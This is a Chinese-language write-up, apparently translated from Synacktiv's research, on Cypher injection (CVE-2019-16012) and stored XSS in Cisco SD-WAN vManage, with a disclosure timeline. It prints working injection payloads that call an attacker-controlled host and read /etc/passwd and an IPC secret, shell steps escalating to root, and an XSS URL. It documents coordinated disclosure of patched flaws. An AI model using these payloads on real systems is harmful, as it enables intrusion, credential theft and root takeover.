渗透CISCO SD-WAN之攻击VMANAGE

iso60001  1485天前

22.png

在2019年底,一个客户要求Synacktiv在几天内对他们基于Cisco SD-WAN解决方案的SD-WAN项目进行安全评估。而在此过程中,我们在不同的组件中发现了一些有趣的漏洞。

在这第一篇文章,我们将重点关注vManage组件,它最近也被打了相关安全补丁,涉及漏洞如下:

CVE-2019-16012:vManage Cypher注入

CVE-2019-16010:vManage存储型XSS

SD-WAN是一种软件定义的广域网(WAN)管理方法,通过一些web接口使用可远程配置的设备。思科早先收购了Viptela解决方案,其主要由四个主要部分组成:

  • vManage——管理面板

  • vEdge——分支处的边缘路由器

  • vBond——Orchestrator系统

  • vSmart——控制器

通常来说,vManage是运维团队用于日常活动的管理接口。

CVE-2019-16012:vManage Cypher注射

通过结合对vManage Java应用的动态和静态分析,我们瞄准了一个端点,它未能正确处理用户的输入。通过将\'添加到HTTP参数,你会看到以下报错:

GET /dataservice/group/devices?groupId=test\' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache, no-store, must-revalidate
X-fr ame-Options: DENY
Date: Mon, 02 Sep 2019 07:27:11 GMT
Connection: close
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Type: application/json
Content-Length: 1927

Invalid input ''': expected whitespace, '.', node labels, '[', "=~", IN, STARTS, ENDS, CONTAINS, IS, '^', '*', '/', '%', '+', '-', '=', "<>", "!=", '<', '>', "<=", ">=", AND, XOR, OR or ')' (line 1, column 120 (offset: 119))
"MATCH (n:vmanagedbDEVICENODE)  with n  match (n)-[xa1:vmanagedbDEVICE]->(a1) with n, a1, xa1 match (n)  WHERE ('test\\'' IN n.`groupId` and n.`device-model` <> 'vedge-ccm') RETURN  n.`deviceId` as `deviceId` ,n.`system-ip` as `system-ip` ,n.`host-name` as `host-name` ,n.`reachability` as `reachability` ,n.`status` as `status` ,n.`personality` as `personality` ,n.`device-type` as `device-type` ,n.`timezone` as `timezone` ,n.`device-groups` as `device-groups` ,n.`lastupdated` as `lastupdated` ,n.`bfdSessionsUp` as `bfdSessionsUp` ,n.`domain-id` as `domain-id` ,n.`board-serial` as `board-serial` ,n.`certificate-validity` as `certificate-validity` ,n.`max-controllers` as `max-controllers` ,n.`uuid` as `uuid` ,n.`bfdSessions` as `bfdSessions` ,n.`controlConnections` as `controlConnections` ,n.`device-model` as `device-model` ,n.`version` as `version` ,n.`connectedVManages` as `connectedVManages` ,n.`site-id` as `site-id` ,n.`ompPeers` as `ompPeers` ,n.`latitude` as `latitude` ,n.`longitude` as `longitude` ,n.`isDeviceGeoData` as `isDeviceGeoData` ,n.`platform` as `platform` ,n.`uptime-date` as `uptime-date` ,n.`statusOrder` as `statusOrder` ,n.`device-os` as `device-os` ,a1.`validity` as `validity` ,n.`state` as `state` ,n.`state_description` as `state_description` ,n.`model_sku` as `model_sku` ,n.`local-system-ip` as `local-system-ip` ,n.`total_cpu_count` as `total_cpu_count` ,n.`linux_cpu_count` as `linux_cpu_count` ,n.`testbed_mode` as `testbed_mode` ,n.`layoutLevel` AS `layoutLevel`,n.`asc` AS `asc` order by `layoutLevel` ASC,`asc` ASC,`host-name` ASC  "

这种响应你可以通过查看端点(classes/com/viptela/vmanage/server/group/DeviceGroupRestfulResource.java)的源代码来分析,它涉及listDevicesForAGroup函数,其中groupId是参数,但代码其实并没有对这个输入参数进行过处理:

public JsonArray listDevicesForAGroup(String groupId, Collection<DeviceType> allowedPersonality)
{
      groupId = groupId.replace("'", "\\'");
      VGraphDataStore dataStore = getDataba seManager().getGraphDataStore();Throwable localThrowable3 = null;
      try {
[...]
        queryBuilder.has(groupId, Operator.IN, "groupId");
        queryBuilder.has("device-model", Operator.NOT_EQUAL, 
DeviceModelName.CCM.getName());

这个端点只需最低权限就可利用,通过注入,我们可以检索出设备敏感数据,比如设备的配置和密码的哈希值。

LOAD CSV^WREQUEST^WFILE

现在我们拥有了一个注入,便开始尝试经典的针对数据库的攻击,例如和数据加载有关的LOAD DATA INFILELOAD_FILE(),我们查看了Neo4j的文档,发现Cypher查询语言支持LOAD CSV语句,可以用来向攻击者控制的服务器发出请求:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"http%3a//sc89bh0uzi86883zeezrpqtodfj57u.controlled.tld\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net

<html><body>9r0z5rg1gsunj37d5irwqczjigz</body></html>

但是加载我们服务器上的文件并不是很有趣,很快我们就发现,由于服务器上的Neo4j实例的配置错误(dbms.directories.import),我们能够读取文件系统上的文件:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/passwd\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net

root:x:0:0:root:/home/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

GIVE ME A ROOT SHELL

vManage用户会映射到Linux中的用户,因此也可以连接到SSH服务。当然SSH服务有可能并不对外。

/etc/passwd配置文件中会显示这些用户的默认shell:

admin:x:1000:1000::/home/admin:/usr/sbin/viptela_cli
vmanage-admin:x:1001:1001::/home/vmanage-admin:/usr/sbin/viptela_cli
basic:x:1002:100::/home/basic:/usr/sbin/viptela_cli
viptela-reserved-cloudops:x:1003:100::/home/viptela-reserved-cloudops:/usr/sbin/viptela_cli
viptela-reserved-tac:x:1004:100::/home/viptela-reserved-tac:/usr/sbin/viptela_cli
viptela-reserved-dca:x:1005:1005::/home/viptela-reserved-dca:/usr/sbin/viptela_cli
viptela-reserved-cloud:x:1006:1006::/home/viptela-reserved-cloud:/usr/sbin/viptela_cli

使用同样的低权限帐户,就可以通过SSH连接到vManage实例,获得受限制的shell。而在/etc/passwd文件中指定的viptela_cli二进制文件会将自己替换为confd_cli二进制文件,后者会使用本地主机端口4565上的socket与confd守护进程通信,设置一种交互式TTY和受限制的shell(Viptela CLI)。这个受限制的shell可让我们运行vshell,以启动/bin/bash

$ ssh admin@172.28.128.5
viptela 18.4.1

Welcome to Viptela CLI
admin connected from 172.28.128.1 using ssh on vmanage
vmanage# vshell
vmanage:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
vmanage:~$ pstree
runsvdir-+-nginx---nginx
[...]
          |-runsv-+-logger
          |       `-sysmgrd-+-cfgmgr
         |                 |-confd-+-cmdptywrapper---bash
         |                 |       `-cmdptywrapper---bash---pstree
[...]
         |                 |-sshd---sshd---sshd---confd_cli

在查找了一些与cond和不同二进制文件相关的文档后(可以通过Cisco网站上的帐户访问)之后,我们发现要对IPC socket进行身份验证,它使用了一个位于/etc/confd/confd_ipc_secret文件中的secret:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret 
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

还记得我们的Neo4j实例吗?它是在vmanage用户的权限下运行,我们可借此来检索文件:

GET
/dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net 

[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

虽然confd_cli程序不支持命令行参数,但可以使用参数调用/usr/bin/confd_cli_user。因此,我们可以使用自己的参数集直接调用/usr/bin/confd_cli_user。但是,对于我们目前的权限,它是不可读的,所以我们必须从rootfs检索它并使用scp复制,最后并使用它来获得shell:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret 
vManage:~$ /tmp/confd_cli_user -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vManage
vManage# vshell
vManage:~# id
uid=0(root) gid=0(root) groups=0(root)

CVE-2019-16011: vManage Stored XSS

这种漏洞是非常经典的。作为一个经过身份验证的用户,当使用API检索日志时,其中出现的HTML元素并不会被编码。此外,服务器返回的Content-Typetext/html,从而导致在用户的浏览器中执行javascript。让我们通过以下URL创建一个stacktrace来感染日志:

https://vmanage-xxxxx.viptela.net/dataservice/util/logfile/appserver/lastnlines?lines=1%3Cscript%3Ealert(1)%3C/script%3E.

当这个URL被访问时,服务器将记录下恶意的HTML代码,然后,它会打印日志,结果如下:

HTTP/1.1 200 OK
Connection: close
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-fr ame-Options: DENY
Content-Type: text/html
Date: Fri, 30 Aug 2019 13:29:48 GMT

[...]
Caused by: java.lang.NumberFormatException: For input string: "1<script>alert(1)</script>"
    at java.lang.NumberFormatException.forInputString(NumberFormatException.java:65) [rt.jar:1.8.0_162]
    at java.lang.Integer.parseInt(Integer.java:580) [rt.jar:1.8.0_162]

33.png

vManage technologies

如果观察看一下vManage中运行的进程,你就会发现这简直就是一个“宝库”:

  • JBoss

  • Kafka

  • Neo4j

  • ElasticSearch

  • OrientDB

  • Consul

  • ZooKeeper

。。。

其中隐藏的攻击面不言而喻,当然,并不是所有服务都会暴露出来。但不管如何,当你作为vmanage用户进入系统时,可研究的方面非常多。

时间轴

2019年9月23日:漏洞详情发送至psirt@cisco.com

2019年9月25日:思科回复

2019年9月30日:同意90天后公开漏洞

2019年10月22日:思科要求将披露时间推迟到2020年1月中下旬

2020年1月9日:思科要求延迟批露

2020年1月10日:同意再延迟60天

2020年3月18日:安全通报发布(CSCvr42496和CSCvs09263),SD-WAN软件19.2.2版本发布

参考

1.https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200318-vmanage-cypher-inject

2.https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200318-vmanage-xss

3.https://neo4j.com/docs/cypher-manual/current/clauses/load-csv/

4.https://neo4j.com/docs/operations-manual/4.0/reference/configuration-settings/#config_dbms.directories.import

5.http://66.218.245.39/doc/html/rn03re18.html

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://securityaffairs.co/wordpress/100465/apt/apt41-citrix-cisco-zoho-flaws.html

最新评论

昵称
邮箱
提交评论